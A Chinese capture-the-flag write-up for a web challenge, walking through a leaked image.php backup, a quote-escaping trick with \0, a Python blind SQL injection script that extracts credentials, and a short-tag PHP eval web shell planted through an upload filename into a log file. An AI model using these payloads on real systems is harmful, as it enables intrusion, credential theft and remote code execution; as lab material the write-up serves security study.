考点:备份文件,sql注入,文件上传(短标签)
首先通过robots.txt发现存在.bak备份文件,尝试后获取到image.php.bak文件,这里可以爆破一下可能存在备份文件的文件名,代码如下:
打开得到源码:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
对单引号进行了过滤,无法闭合单引号,所以我们用\0
来转义掉它的单引号。输入\0
,经过“addslashes”函数会先变成\\0
,然后经过“str_replace”函数,会变成\
,这样,就把id后面的单引号给转义了。附上SQL注入代码(二分法):
import requests
url = "http://d4035b3f-eaac-4675-8c17-e1de75f3d193.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)
盲猜username和password在users表中。得到用户名和密码
登录后进行文件上传, 这里会将文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:
filename="<?=@eval($_POST['a']);?>"
这个文件名,会被写入日志文件中去,然后用菜刀连接。

注意最后的文件名的.是句号,写入后如下图所示。

最终连接即可。
注: 短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制。